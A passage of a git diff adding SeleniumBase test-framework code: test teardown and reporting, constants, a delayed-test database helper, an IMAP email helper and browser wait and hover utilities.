+            if self.headless:
+                self.display = Display(visible=0, size=(1920, 1200))
+                self.display.start()
+                self.headless_active = True
+            if self.with_selenium:
+                self.driver = browser_launcher.get_driver(self.browser)
+
+    def __insert_test_result(self, state, err):
+        data_payload = TestcaseDataPayload()
+        data_payload.runtime = int(time.time() * 1000) - self.case_start_time
+        data_payload.guid = self.testcase_guid
+        data_payload.execution_guid = self.execution_guid
+        data_payload.state = state
+        if err:
+            tb_string = traceback.format_exc()
+            if "Message: " in tb_string:
+                data_payload.message = "Message: " + tb_string.split(
+                    "Message: ")[-1]
+            elif "Exception: " in tb_string:
+                data_payload.message = tb_string.split("Exception: ")[-1]
+            elif "Error: " in tb_string:
+                data_payload.message = tb_string.split("Error: ")[-1]
+            else:
+                data_payload.message = "Unknown Error: See Stacktrace"
+        self.testcase_manager.update_testcase_data(data_payload)
+
+    def _add_pytest_html_extra(self):
+        try:
+            pytest_html = pytest.config.pluginmanager.getplugin('html')
+            if self.with_selenium and pytest_html:
+                driver = self.driver
+                extra_url = pytest_html.extras.url(driver.current_url)
+                screenshot = driver.get_screenshot_as_base64()
+                extra_image = pytest_html.extras.image(screenshot,
+                                                       name='Screenshot')
+                self._html_report_extra.append(extra_url)
+                self._html_report_extra.append(extra_image)
+        except:
+            pass
+
+    def tearDown(self):
+        """
+        pytest-specific code
+        Be careful if a subclass of BaseCase overrides setUp()
+        You'll need to add the following line to the subclass's tearDown():
+        super(SubClassOfBaseCase, self).tearDown()
+        """
+        if self.page_check_failures:
+            # self.process_checks() was not called after checks were made.
+            # We will log those now here, but without raising an exception.
+            exception_output = ''
+            exception_output += "\n*** FAILED CHECKS FOR: %s\n" % self.id()
+            for tb in self.page_check_failures:
+                exception_output += "%s\n" % tb
+            logging.exception(exception_output)
+        self.is_pytest = None
+        try:
+            # This raises an exception if the test is not coming from pytest
+            self.is_pytest = pytest.config.option.is_pytest
+        except Exception:
+            # Not using pytest (probably nosetests)
+            self.is_pytest = False
+        if self.is_pytest:
+            test_id = "%s.%s.%s" % (self.__class__.__module__,
+                                    self.__class__.__name__,
+                                    self._testMethodName)
+            if self.with_selenium:
+                # Save a screenshot if logging is on when an exception occurs
+                is_exception = sys.exc_info()[1] is not None
+                if is_exception:
+                    self._add_pytest_html_extra()
+                if self.with_testing_base and is_exception:
+                    test_logpath = self.log_path + "/" + test_id
+                    if not os.path.exists(test_logpath):
+                        os.makedirs(test_logpath)
+                    if ((not self.with_screen_shots) and
+                            (not self.with_basic_test_info) and
+                            (not self.with_page_source)):
+                        # Log everything if nothing specified (if testing_base)
+                        log_helper.log_screenshot(test_logpath, self.driver)
+                        log_helper.log_test_failure_data(
+                            test_logpath, self.driver, self.browser)
+                        log_helper.log_page_source(test_logpath, self.driver)
+                    else:
+                        if self.with_screen_shots:
+                            log_helper.log_screenshot(
+                                test_logpath, self.driver)
+                        if self.with_basic_test_info:
+                            log_helper.log_test_failure_data(
+                                test_logpath, self.driver, self.browser)
+                        if self.with_page_source:
+                            log_helper.log_page_source(
+                                test_logpath, self.driver)
+                # Finally close the browser
+                try:
+                    self.driver.quit()
+                except AttributeError:
+                    pass
+                except:
+                    print("No driver to quit.")
+                self.driver = None
+            if self.headless:
+                if self.headless_active:
+                    self.display.stop()
+                    self.display = None
+            if self.with_db_reporting:
+                if sys.exc_info()[1] is not None:
+                    self.__insert_test_result(constants.State.ERROR, True)
+                else:
+                    self.__insert_test_result(constants.State.PASS, False)
+                runtime = int(time.time() * 1000) - self.execution_start_time
+                self.testcase_manager.update_execution_data(
+                    self.execution_guid, runtime)
+            if self.with_s3_logging and (sys.exc_info()[1] is not None):
+                """ After each testcase, upload logs to the S3 bucket. """
+                s3_bucket = S3LoggingBucket()
+                guid = str(uuid.uuid4().hex)
+                path = "%s/%s" % (self.log_path, test_id)
+                uploaded_files = []
+                for logfile in os.listdir(path):
+                    logfile_name = "%s/%s/%s" % (guid,
+                                                 test_id,
+                                                 logfile.split(path)[-1])
+                    s3_bucket.upload_file(logfile_name,
+                                          "%s/%s" % (path, logfile))
+                    uploaded_files.append(logfile_name)
+                s3_bucket.save_uploaded_file_names(uploaded_files)
+                index_file = s3_bucket.upload_index_file(test_id, guid)
+                print("\n\n*** Log files uploaded: ***\n%s\n" % index_file)
+                logging.error(
+                    "\n\n*** Log files uploaded: ***\n%s\n" % index_file)
+                if self.with_db_reporting:
+                    self.testcase_manager = TestcaseManager(self.database_env)
+                    data_payload = TestcaseDataPayload()
+                    data_payload.guid = self.testcase_guid
+                    data_payload.logURL = index_file
+                    self.testcase_manager.update_testcase_log_url(data_payload)
diff --git a/SeleniumBase/seleniumbase/fixtures/constants.py b/SeleniumBase/seleniumbase/fixtures/constants.py
new file mode 100755
index 00000000..f0544fc8
--- /dev/null
+++ b/SeleniumBase/seleniumbase/fixtures/constants.py
@@ -0,0 +1,57 @@
+"""
+This class containts some frequently-used constants
+"""
+
+
+class Environment:
+    QA = "qa"
+    STAGING = "staging"
+    PRODUCTION = "production"
+    MASTER = "master"
+    LOCAL = "local"
+    TEST = "test"
+
+
+class Files:
+    DOWNLOADS_FOLDER = "downloaded_files"
+    ARCHIVED_DOWNLOADS_FOLDER = "archived_files"
+
+
+class Browser:
+    FIREFOX = "firefox"
+    INTERNET_EXPLORER = "ie"
+    EDGE = "edge"
+    SAFARI = "safari"
+    GOOGLE_CHROME = "chrome"
+    PHANTOM_JS = "phantomjs"
+    HTML_UNIT = "htmlunit"
+
+    VERSION = {
+        "firefox": None,
+        "ie": None,
+        "edge": None,
+        "safari": None,
+        "chrome": None,
+        "phantomjs": None,
+        "htmlunit": None
+    }
+
+    LATEST = {
+        "firefox": None,
+        "ie": None,
+        "edge": None,
+        "safari": None,
+        "chrome": None,
+        "phantomjs": None,
+        "htmlunit": None
+    }
+
+
+class State:
+    NOTRUN = "NotRun"
+    ERROR = "Error"
+    FAILURE = "Fail"
+    PASS = "Pass"
+    SKIP = "Skip"
+    BLOCKED = "Blocked"
+    DEPRECATED = "Deprecated"
diff --git a/SeleniumBase/seleniumbase/fixtures/delayed_data_manager.py b/SeleniumBase/seleniumbase/fixtures/delayed_data_manager.py
new file mode 100755
index 00000000..be995c2c
--- /dev/null
+++ b/SeleniumBase/seleniumbase/fixtures/delayed_data_manager.py
@@ -0,0 +1,141 @@
+import json
+import logging
+import time
+import uuid
+from seleniumbase.core.mysql import DatabaseManager
+
+DEFAULT_EXPIRATION = 1000 * 60 * 60 * 48
+
+
+class DelayedTestStorage:
+    """ The database-calling methods of the Delayed Test Framework """
+
+    @classmethod
+    def get_delayed_test_data(self, testcase_address, done=0):
+        """ This method queries the delayedTestData table in the DB and
+            then returns a list of rows with the matching parameters.
+            :param testcase_address: The ID (address) of the test case.
+            :param done: (0 for test not done or 1 for test done)
+            :returns: A list of rows found with the matching testcase_address.
+        """
+        db = DatabaseManager()
+        query = """SELECT guid,testcaseAddress,insertedAt,expectedResult,done
+                   FROM delayedTestData
+                   WHERE testcaseAddress=%(testcase_address)s
+                   AND done=%(done)s"""
+        data = db.fetchall_query_and_close(
+            query, {"testcase_address": testcase_address,
+                    "done": done})
+        if data:
+            return data
+        else:
+            logging.debug("Could not find any rows in delayedTestData.")
+            logging.debug("DB Query = " + query %
+                          {"testcase_address": testcase_address, "done": done})
+            return []
+
+    @classmethod
+    def insert_delayed_test_data(self, guid_, testcase_address,
+                                 expected_result, done=0,
+                                 expires_at=DEFAULT_EXPIRATION):
+        """ This method inserts rows into the delayedTestData table
+            in the DB based on the given parameters where
+            inserted_at (Date format) is automatically set in this method.
+            :param guid_: The guid that is provided by the test case.
+            (Format: str(uuid.uuid4()))
+            :param testcase_address: The ID (address) of the test case.
+            :param expected_result: The result string of persistent data
+            that will be stored in the DB.
+            :param done: (0 for test not done or 1 for test done)
+            :returns: True (when no exceptions or errors occur)
+        """
+        inserted_at = int(time.time() * 1000)
+
+        db = DatabaseManager()
+        query = """INSERT INTO delayedTestData(
+                   guid,testcaseAddress,insertedAt,
+                   expectedResult,done,expiresAt)
+                   VALUES (%(guid)s,%(testcaseAddress)s,%(inserted_at)s,
+                           %(expected_result)s,%(done)s,%(expires_at)s)"""
+
+        db.execute_query_and_close(
+            query, {"guid": guid_,
+                    "testcaseAddress": testcase_address,
+                    "inserted_at": inserted_at,
+                    "expected_result": expected_result,
+                    "done": done,
+                    "expires_at": inserted_at + expires_at})
+        return True
+
+    @classmethod
+    def set_delayed_test_to_done(self, guid_):
+        """ This method updates the delayedTestData table in the DB
+            to set the test with the selected guid to done.
+            :param guid_: The guid that is provided by the test case.
+            (Format: str(uuid.uuid4()))
+            :returns: True (when no exceptions or errors occur)
+        """
+        db = DatabaseManager()
+        query = """UPDATE delayedTestData
+                   SET done=TRUE
+                   WHERE guid=%(guid)s
+                   AND done=FALSE"""
+        db.execute_query_and_close(query, {"guid": guid_})
+        return True
+
+
+class DelayedTestAssistant:
+    """ Some methods for assisting tests (that don't call the DB directly) """
+
+    @classmethod
+    def get_delayed_results(self, test_id, seconds, set_done=True):
+        """
+        This method gets the delayed_test_data and sets the applicable rows
+        in the DB to done.
+        The results is a list of dicts where each list item contains
+        item[0] = guid
+        item[1] = testcaseAddress
+        item[2] = seconds from epoch
+        item[3] = expected results dict encoded in json
+        :param test_id: the self.id() of the test
+        :param seconds: the wait period until the data can be checked
+        :returns: the results for a specific test where enough time has passed
+        """
+        delayed_test_data = DelayedTestStorage.get_delayed_test_data(
+            testcase_address=test_id)
+        now = int(time.time() * 1000)
+        results_to_check = []
+        if delayed_test_data is None:
+            return results_to_check
+        for item in delayed_test_data:
+            if item[2] < now - (seconds * 1000):
+                results_to_check.append(item)
+                if set_done:
+                    DelayedTestStorage.set_delayed_test_to_done(item[0])
+        return results_to_check
+
+    @classmethod
+    def store_delayed_data(self, test_id, expected_result_dict,
+                           expires_at=DEFAULT_EXPIRATION):
+        """
+        Loads the dictionary of information into the delayed test database
+        :param test_id: the self.id() of the test
+        :param expected_result_dict: a dictionary of what's to be checked later
+        """
+        expected_result_json = json.JSONEncoder().encode(expected_result_dict)
+        DelayedTestStorage.insert_delayed_test_data(str(uuid.uuid4()),
+                                                    test_id,
+                                                    expected_result_json,
+                                                    0,
+                                                    expires_at)
+
+    @classmethod
+    def set_test_done(self, test_guid):
+        """ This method calls set_delayed_test_to_done to set a
+            row in the db to done.
+            :param test_guid: The guid that is provided by the test.
+            (Format: str(uuid.uuid4()))
+            :returns: True (when no exceptions or errors occur)
+        """
+        DelayedTestStorage.set_delayed_test_to_done(test_guid)
+        return True
diff --git a/SeleniumBase/seleniumbase/fixtures/email_manager.py b/SeleniumBase/seleniumbase/fixtures/email_manager.py
new file mode 100755
index 00000000..720766f4
--- /dev/null
+++ b/SeleniumBase/seleniumbase/fixtures/email_manager.py
@@ -0,0 +1,514 @@
+"""
+EmailManager - a helper class to login, search for, and delete emails.
+"""
+
+import email
+import htmlentitydefs
+import imaplib
+import quopri
+import re
+import time
+import types
+from seleniumbase.config import settings
+
+
+class EmailManager:
+    """ A helper class to interface with an Email account. These imap methods
+    can search for and fetch messages without needing a browser.
+
+    Example:
+
+    em = EmailManager()
+    result = em.check_for_recipient(
+        "[GMAIL.USER]+[SOME CODE OR TIMESTAMP KEY]@gmail.com")
+    """
+
+    HTML = "text/html"
+    PLAIN = "text/plain"
+    TIMEOUT = 1800
+
+    def __init__(self, uname=settings.EMAIL_USERNAME,
+                 pwd=settings.EMAIL_PASSWORD,
+                 imap_string=settings.EMAIL_IMAP_STRING,
+                 port=settings.EMAIL_IMAP_PORT):
+        self.uname = uname
+        self.pwd = pwd
+        self.imap_string = imap_string
+        self.port = port
+
+    def imap_connect(self):
+        """
+        Connect to the IMAP mailbox.
+        """
+        self.mailbox = imaplib.IMAP4_SSL(self.imap_string, self.port)
+        self.mailbox.login(self.uname, self.pwd)
+        self.mailbox.select()
+
+    def imap_disconnect(self):
+        """
+        Disconnect from the IMAP mailbox.
+        """
+        self.mailbox.close()
+        self.mailbox.logout()
+
+    def __imap_search(self, ** criteria_dict):
+        """ Searches for query in the given IMAP criteria and returns
+        the message numbers that match as a list of strings.
+
+        Criteria without values (eg DELETED) should be keyword args
+        with KEY=True, or else not passed. Criteria with values should
+        be keyword args of the form KEY="VALUE" where KEY is a valid
+        IMAP key.
+
+        IMAP default is to AND all criteria together. We don't support
+        other logic quite yet.
+
+        All valid keys: ALL, ANSWERED, BCC <string>, BEFORE <string>,
+        BODY <string>, CC <string>, DELETED, DRAFT, FLAGGED, FROM
+        <string>, HEADER <field-name> <string> (UNTESTED), KEYWORD
+        <flag>, LARGER <n>, NEW, NOT <search-key>, OLD, ON <date>,
+        OR <search-key1> <search-key2> (UNTESTED), RECENT, SEEN,
+        SENTBEFORE <date>, SENTON <date>, SENTSINCE <date>, SINCE <date>,
+        SMALLER <n>, SUBJECT <string>, TEXT <string>, TO <string>,
+        UID <sequence set>, UNANSWERED, UNDELETED, UNDRAFT, UNFLAGGED,
+        UNKEYWORD <flag>, UNSEEN.
+
+        For details on keys and their values, see
+        http://tools.ietf.org/html/rfc3501#section-6.4.4
+
+        :param criteria_dict: dictionary of search criteria keywords
+        :raises: EmailException if something in IMAP breaks
+        :returns: List of message numbers as strings matched by given criteria
+        """
+        self.imap_connect()
+
+        criteria = []
+        for key in criteria_dict:
+            if criteria_dict[key] is True:
+                criteria.append('(%s)' % key)
+            else:
+                criteria.append('(%s "%s")' % (key, criteria_dict[key]))
+
+        # If any of these criteria are not valid IMAP keys, IMAP will tell us.
+        status, msg_nums = self.mailbox.search('UTF-8', * criteria)
+        self.imap_disconnect()
+
+        if 0 == len(msg_nums):
+            msg_nums = []
+
+        if 'OK' in status:
+            return self.__parse_imap_search_result(msg_nums)
+        else:
+            raise EmailException("IMAP status is " + str(status))
+
+    def remove_formatting(self, html):
+        """
+        Clean out any whitespace
+        @Params
+        html - String of html to remove whitespace from
+        @Returns
+        Cleaned string
+        """
+        return ' '.join(html.split())
+
+    def __parse_imap_search_result(self, result):
+        """
+        This takes the result of imap_search and returns SANE results
+        @Params
+        result - result from an imap_search call
+        @Returns
+        List of IMAP search results
+        """
+        if isinstance(result, types.ListType):
+            # Above is same as "type(result) == types.ListType"
+            if len(result) == 1:
+                return self.__parse_imap_search_result(result[0])
+            else:
+                return result
+        elif isinstance(result, types.StringType):
+            # Above is same as "type(result) == types.StringType"
+            return result.split()
+        else:
+            # Fail silently assuming tests will fail if emails are not found
+            return []
+
+    def fetch_html(self, msg_nums):
+        """
+        Given a message number that we found with imap_search,
+        get the text/html content.
+        @Params
+        msg_nums - message number to get html message for
+        @Returns
+        HTML content of message matched by message number
+        """
+        if not msg_nums:
+            raise Exception("Invalid Message Number!")
+
+        return self.__imap_fetch_content_type(msg_nums, self.HTML)
+
+    def fetch_plaintext(self, msg_nums):
+        """
+        Given a message number that we found with imap_search,
+        get the text/plain content.
+        @Params
+        msg_nums - message number to get message for
+        @Returns
+        Plaintext content of message matched by message number
+        """
+        if not msg_nums:
+            raise Exception("Invalid Message Number!")
+
+        return self.__imap_fetch_content_type(msg_nums, self.PLAIN)
+
+    def __imap_fetch_content_type(self, msg_nums, content_type):
+        """
+        Given a message number that we found with imap_search, fetch the
+        whole source, dump that into an email object, and pick out the part
+        that matches the content type specified. Return that, if we got
+        multiple emails, return dict of all the parts.
+        @Params
+        msg_nums - message number to search for
+        content_type - content type of email message to return
+        @Returns
+        Specified content type string or dict of all content types of matched
+        email.
+        """
+
+        if not msg_nums:
+            raise Exception("Invalid Message Number!")
+        if not content_type:
+            raise Exception("Need a content type!")
+
+        contents = {}
+        self.imap_connect()
+        for num in msg_nums:
+            status, data = self.mailbox.fetch(num, "(RFC822)")
+            for response_part in data:
+                if isinstance(response_part, tuple):
+                    msg = email.message_from_string(response_part[1])
+                    for part in msg.walk():
+                        if str(part.get_content_type()) == content_type:
+                            content = str(part.get_payload(decode=True))
+                            contents[int(num)] = content
+        self.imap_disconnect()
+        return contents
+
+    def fetch_html_by_subject(self, email_name):
+        """
+        Get the html of an email, searching by subject.
+        @Params
+        email_name - the subject to search for
+        @Returns
+        HTML content of the matched email
+        """
+        if not email_name:
+            raise EmailException("Subject cannot be null")
+
+        results = self.__imap_search(SUBJECT=email_name)
+        sources = self.fetch_html(results)
+
+        return sources
+
+    def fetch_plaintext_by_subject(self, email_name):
+        """
+        Get the plain text of an email, searching by subject.
+        @Params
+        email_name - the subject to search for
+        @Returns
+        Plaintext content of the matched email
+        """
+        if not email_name:
+            raise EmailException("Subject cannot be null")
+
+        results = self.__imap_search(SUBJECT=email_name)
+        sources = self.fetch_plaintext(results)
+
+        return sources
+
+    def search_for_recipient(self, email, timeout=None, content_type=None):
+        """
+        Get content of emails, sent to a specific email address.
+        @Params
+        email - the recipient email address to search for
+        timeout - seconds to try beore timing out
+        content_type - type of email string to return
+        @Returns
+        Content of the matched email in the given content type
+        """
+        return self.search(timeout=timeout,
+                           content_type=content_type, TO=email)
+
+    def search_for_subject(self, subject, timeout=None, content_type=None):
+        """
+        Get content of emails, sent to a specific email address.
+        @Params
+        email - the recipient email address to search for
+        timeout - seconds to try beore timing out
+        content_type - type of email string to return
+        @Returns
+        Content of the matched email in the given content type
+        """
+        return self.search(timeout=timeout,
+                           content_type=content_type, SUBJECT=subject)
+
+    def search_for_count(self, ** args):
+        """
+        A search that keeps searching up until timeout for a
+        specific number of matches to a search. If timeout is not
+        specified we use the default.  If count= is not specified we
+        will fail. Return values are the same as search(), except for count=0,
+        where we will return an empty list. Use this if you need to wait for a
+        number of emails other than 1.
+
+        @Params
+        args - dict of arguments to use in search:
+               count - number of emails to search for
+               timeout - seconds to try search before timing out
+        @Returns
+        List of message numbers matched by search
+        """
+        if "timeout" not in args.keys():
+            timeout = self.TIMEOUT
+        elif args["timeout"]:
+            timeout = args["timeout"]
+        args["timeout"] = timeout / 15
+
+        if "count" not in args.keys():
+            raise EmailException("Count param not defined!")
+        else:
+            count = int(args["count"])
+            del args["count"]
+
+        results = None
+        timer = timeout
+        count = 0
+        while count < timer:
+            try:
+                results = self.search(** args)
+            except EmailException:
+                if count == 0:
+                    return []
+
+            if results and len(results) == count:
+                return results
+            else:
+                time.sleep(15)
+                count += 15
+        if count >= timer:
+            raise EmailException("Failed to match criteria %s in %s minutes" %
+                                 (args, timeout / 60))
+
+    def __check_msg_for_headers(self, msg, ** email_headers):
+        """
+        Checks an Email.Message object for the headers in email_headers.
+
+        Following are acceptable header names: ['Delivered-To',
+            'Received', 'Return-Path', 'Received-SPF',
+            'Authentication-Results', 'DKIM-Signature',
+            'DomainKey-Signature', 'From', 'To', 'Message-ID',
+            'Subject', 'MIME-Version', 'Content-Type', 'Date',
+            'X-Sendgrid-EID', 'Sender'].
+
+        @Params
+        msg - the Email.message object to check
+        email_headers - list of headers to check against
+        @Returns
+        Boolean whether all the headers were found
+        """
+        all_headers_found = False
+        email_headers['Delivered-To'] = email_headers['To']
+        email_headers.pop('To')
+        all_headers_found = all(k in msg.keys() for k in email_headers)
+
+        return all_headers_found
+
+    def fetch_message(self, msgnum):
+        """
+        Given a message number, return the Email.Message object.
+        @Params
+        msgnum - message number to find
+        @Returns
+        Email.Message object for the given message number
+        """
+        self.imap_connect()
+        status, data = self.mailbox.fetch(msgnum, "(RFC822)")
+        self.imap_disconnect()
+
+        for response_part in data:
+            if isinstance(response_part, tuple):
+                return email.message_from_string(response_part[1])
+
+    def get_content_type(self, msg, content_type="HTML"):
+        """
+        Given an Email.Message object, gets the content-type payload
+        as specified by @content_type. This is the actual body of the
+        email.
+        @Params
+        msg - Email.Message object to get message content for
+        content_type - Type of content to get from the email
+        @Return
+        String content of the email in the given type
+        """
+        if "HTML" in content_type.upper():
+            content_type = self.HTML
+        elif "PLAIN" in content_type.upper():
+            content_type = self.PLAIN
+
+        for part in msg.walk():
+            if str(part.get_content_type()) == content_type:
+                return str(part.get_payload(decode=True))
+
+    def search(self, ** args):
+        """
+        Checks email inbox every 15 seconds that match the criteria
+        up until timeout.
+
+        Search criteria should be keyword args eg
+        TO="selenium@gmail.com".  See __imap_search docstring for list
+        of valid criteria. If content_type is not defined, will return
+        a list of msg numbers.
+
+        Options:
+        - fetch: will return a dict of Message objects, keyed on msgnum,
+          which can be used to look at headers and other parts of the complete
+          message.  (http://docs.python.org/library/email.message.html)
+        - timeout: will replace the default module timeout with the
+          value in SECONDS.
+        - content_type: should be either "PLAIN" or
+          "HTML". If defined returns the source of the matched messages
+          as a dict of msgnum:content. If not defined we return a list
+          of msg nums.
+        """
+
+        if "content_type" not in args.keys():
+            content_type = None
+        elif "HTML" in args["content_type"]:
+            content_type = self.HTML
+            del args["content_type"]
+        elif "PLAIN" in args["content_type"]:
+            content_type = self.PLAIN
+            del args["content_type"]
+        elif args["content_type"]:
+            content_type = args['content_type']
+            del args["content_type"]
+
+        if "timeout" not in args.keys():
+            timeout = self.TIMEOUT
+        elif "timeout" in args:
+            timeout = args["timeout"]
+            del args["timeout"]
+
+        fetch = False
+        if "fetch" in args.keys():
+            fetch = True
+            del args["fetch"]
+
+        results = None
+        timer = timeout
+        count = 0
+        while count < timer:
+            results = self.__imap_search(** args)
+            if len(results) > 0:
+                if fetch:
+                    msgs = {}
+                    for msgnum in results:
+                        msgs[msgnum] = self.fetch_message(msgnum)
+                    return msgs
+                elif not content_type:
+                    return results
+                else:
+                    return self.__imap_fetch_content_type(results,
+                                                          content_type)
+            else:
+                time.sleep(15)
+                count += 15
+        if count >= timer:
+            raise EmailException(
+                "Failed to find message for criteria %s in %s minutes" %
+                (args, timeout / 60))
+
+    def remove_whitespace(self, html):
+        """
+        Clean whitespace from html
+        @Params
+        html - html source to remove whitespace from
+        @Returns
+        String html without whitespace
+        """
+        # Does python have a better way to do exactly this?
+        clean_html = html
+        for char in ("\r", "\n", "\t"):
+            clean_html = clean_html.replace(char, "")
+        return clean_html
+
+    def remove_control_chars(self, html):
+        """
+        Clean control characters from html
+        @Params
+        html - html source to remove control characters from
+        @Returns
+        String html without control characters
+        """
+        return self.remove_whitespace(html)
+
+    def replace_entities(self, html):
+        """
+        Replace htmlentities with unicode characters
+        @Params
+        html - html source to replace entities in
+        @Returns
+        String html with entities replaced
+        """
+        def fixup(text):
+            """replace the htmlentities in some text"""
+            text = text.group(0)
+            if text[:2] == "&#":
+                # character reference
+                try:
+                    if text[:3] == "&#x":
+                        return unichr(int(text[3:-1], 16))
+                    else:
+                        return unichr(int(text[2:-1]))
+                except ValueError:
+                    pass
+            else:
+                # named entity
+                try:
+                    text = unichr(htmlentitydefs.name2codepoint[text[1:-1]])
+                except KeyError:
+                    pass
+            return text  # leave as is
+        return re.sub("&#?\w+;", fixup, html)
+
+    def decode_quoted_printable(self, html):
+        """
+        Decoding from Quoted-printable, or QP encoding, that uses ASCII 7bit
+        chars to encode 8 bit chars, resulting in =3D to represent '='. Python
+        supports UTF-8 so we decode. Also removes line breaks with '= at the
+        end.'
+        @Params
+        html - html source to decode
+        @Returns
+        String decoded HTML source
+        """
+        return self.replace_entities(quopri.decodestring(html))
+
+    def html_bleach(self, html):
+        """
+        Cleanup and get rid of all extraneous stuff for better comparison
+        later. Turns formatted into into a single line string.
+        @Params
+        html - HTML source to clean up
+        @Returns
+        String cleaned up HTML source
+        """
+        return self.decode_quoted_printable(html)
+
+
+class EmailException(Exception):
+    """Raised when we have an Email-related problem."""
+    def __init__(self, value):
+        self.parameter = value
+
+    def __str__(self):
+        return repr(self.parameter)
diff --git a/SeleniumBase/seleniumbase/fixtures/errors.py b/SeleniumBase/seleniumbase/fixtures/errors.py
new file mode 100755
index 00000000..d3ff3c2b
--- /dev/null
+++ b/SeleniumBase/seleniumbase/fixtures/errors.py
@@ -0,0 +1,20 @@
+"""
+This module contains test-state related exceptions.
+Raising one of these in a test will cause the
+test-state to be logged appropriately.
+"""
+
+
+class BlockedTest(Exception):
+    """Raise this to mark a test as Blocked"""
+    pass
+
+
+class SkipTest(Exception):
+    """Raise this to mark a test as Skipped."""
+    pass
+
+
+class DeprecatedTest(Exception):
+    """Raise this to mark a test as Deprecated."""
+    pass
diff --git a/SeleniumBase/seleniumbase/fixtures/page_actions.py b/SeleniumBase/seleniumbase/fixtures/page_actions.py
new file mode 100755
index 00000000..0c9c959b
--- /dev/null
+++ b/SeleniumBase/seleniumbase/fixtures/page_actions.py
@@ -0,0 +1,523 @@
+"""
+This module contains a set of methods that can be used for page loads and
+for waiting for elements to appear on a page.
+
+These methods improve on and expand existing WebDriver commands.
+Improvements include making WebDriver commands more robust and more reliable
+by giving page elements enough time to load before taking action on them.
+
+The default option for searching for elements is by CSS Selector.
+This can be changed by overriding the "By" parameter.
+Options are:
+By.CSS_SELECTOR
+By.CLASS_NAME
+By.ID
+By.NAME
+By.LINK_TEXT
+By.XPATH
+By.TAG_NAME
+By.PARTIAL_LINK_TEXT
+"""
+
+import codecs
+import os
+import sys
+import time
+import traceback
+from selenium.common.exceptions import WebDriverException
+from selenium.webdriver.common.by import By
+from selenium.webdriver.common.action_chains import ActionChains
+from selenium.webdriver.remote.errorhandler import ElementNotVisibleException
+from selenium.webdriver.remote.errorhandler import NoSuchElementException
+from selenium.webdriver.remote.errorhandler import NoAlertPresentException
+from selenium.webdriver.remote.errorhandler import NoSuchFrameException
+from selenium.webdriver.remote.errorhandler import NoSuchWindowException
+from seleniumbase.config import settings
+
+
+def is_element_present(driver, selector, by=By.CSS_SELECTOR):
+    """
+    Searches for the specified element by the given selector.  Returns whether
+    the element object if the element is present on the page.
+    @Params
+    driver - the webdriver object (required)
+    selector - the locator that is used (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    @Returns
+    Boolean (is element present)
+    """
+    try:
+        driver.find_element(by=by, value=selector)
+        return True
+    except Exception:
+        return False
+
+
+def is_element_visible(driver, selector, by=By.CSS_SELECTOR):
+    """
+    Searches for the specified element by the given selector.  Returns whether
+    the element object if the element is present and visible on the page.
+    @Params
+    driver - the webdriver object (required)
+    selector - the locator that is used (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    @Returns
+    Boolean (is element visible)
+    """
+    try:
+        element = driver.find_element(by=by, value=selector)
+        return element.is_displayed()
+    except Exception:
+        return False
+
+
+def is_text_visible(driver, text, selector, by=By.CSS_SELECTOR):
+    """
+    Searches for the specified element by the given selector. Returns whether
+    the element object if the element is present and visible on the page and
+    contains the given text.
+    @Params
+    driver - the webdriver object (required)
+    text - the text string to search for
+    selector - the locator that is used (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    @Returns
+    Boolean (is text visible)
+    """
+    try:
+        element = driver.find_element(by=by, value=selector)
+        return element.is_displayed() and text in element.text
+    except Exception:
+        return False
+
+
+def hover_on_element(driver, selector, by=By.CSS_SELECTOR):
+    """
+    Fires the hover event for the specified element by the given selector.
+    @Params
+    driver - the webdriver object (required)
+    selector - the locator (css selector) that is used (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    """
+    element = driver.find_element(by=by, value=selector)
+    hover = ActionChains(driver).move_to_element(element)
+    hover.perform()
+
+
+def hover_and_click(driver, hover_selector, click_selector,
+                    hover_by=By.CSS_SELECTOR, click_by=By.CSS_SELECTOR,
+                    timeout=settings.SMALL_TIMEOUT):
+    """
+    Fires the hover event for a specified element by a given selector, then
+    clicks on another element specified. Useful for dropdown hover based menus.
+    @Params
+    driver - the webdriver object (required)
+    hover_selector - the css selector to hover over (required)
+    click_selector - the css selector to click on (required)
+    hover_by - the method to search by (Default: By.CSS_SELECTOR)
+    click_by - the method to search by (Default: By.CSS_SELECTOR)
+    timeout - number of seconds to wait for click element to appear after hover
+    """
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    element = driver.find_element(by=hover_by, value=hover_selector)
+    hover = ActionChains(driver).move_to_element(element)
+    hover.perform()
+    for x in range(int(timeout * 10)):
+        try:
+            element = driver.find_element(by=click_by,
+                                          value="%s" % click_selector).click()
+            return element
+        except Exception:
+            now_ms = time.time() * 1000.0
+            if now_ms >= stop_ms:
+                break
+            time.sleep(0.1)
+    raise NoSuchElementException(
+        "Element {%s} was not present after %s seconds!" %
+        (click_selector, timeout))
+
+
+def wait_for_element_present(driver, selector, by=By.CSS_SELECTOR,
+                             timeout=settings.LARGE_TIMEOUT):
+    """
+    Searches for the specified element by the given selector. Returns the
+    element object if the element is present on the page. The element can be
+    invisible. Raises an exception if the element does not appear in the
+    specified timeout.
+    @Params
+    driver - the webdriver object
+    selector - the locator that is used (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    timeout - the time to wait for elements in seconds
+    @Returns
+    A web element object
+    """
+
+    element = None
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    for x in range(int(timeout * 10)):
+        try:
+            element = driver.find_element(by=by, value=selector)
+            return element
+        except Exception:
+            now_ms = time.time() * 1000.0
+            if now_ms >= stop_ms:
+                break
+            time.sleep(0.1)
+    if not element:
+        raise NoSuchElementException(
+            "Element {%s} was not present after %s seconds!" % (
+                selector, timeout))
+
+
+def wait_for_element_visible(driver, selector, by=By.CSS_SELECTOR,
+                             timeout=settings.LARGE_TIMEOUT):
+    """
+    Searches for the specified element by the given selector. Returns the
+    element object if the element is present and visible on the page.
+    Raises an exception if the element does not appear in the
+    specified timeout.
+    @Params
+    driver - the webdriver object (required)
+    selector - the locator that is used (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    timeout - the time to wait for elements in seconds
+
+    @Returns
+    A web element object
+    """
+
+    element = None
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    for x in range(int(timeout * 10)):
+        try:
+            element = driver.find_element(by=by, value=selector)
+            if element.is_displayed():
+                return element
+            else:
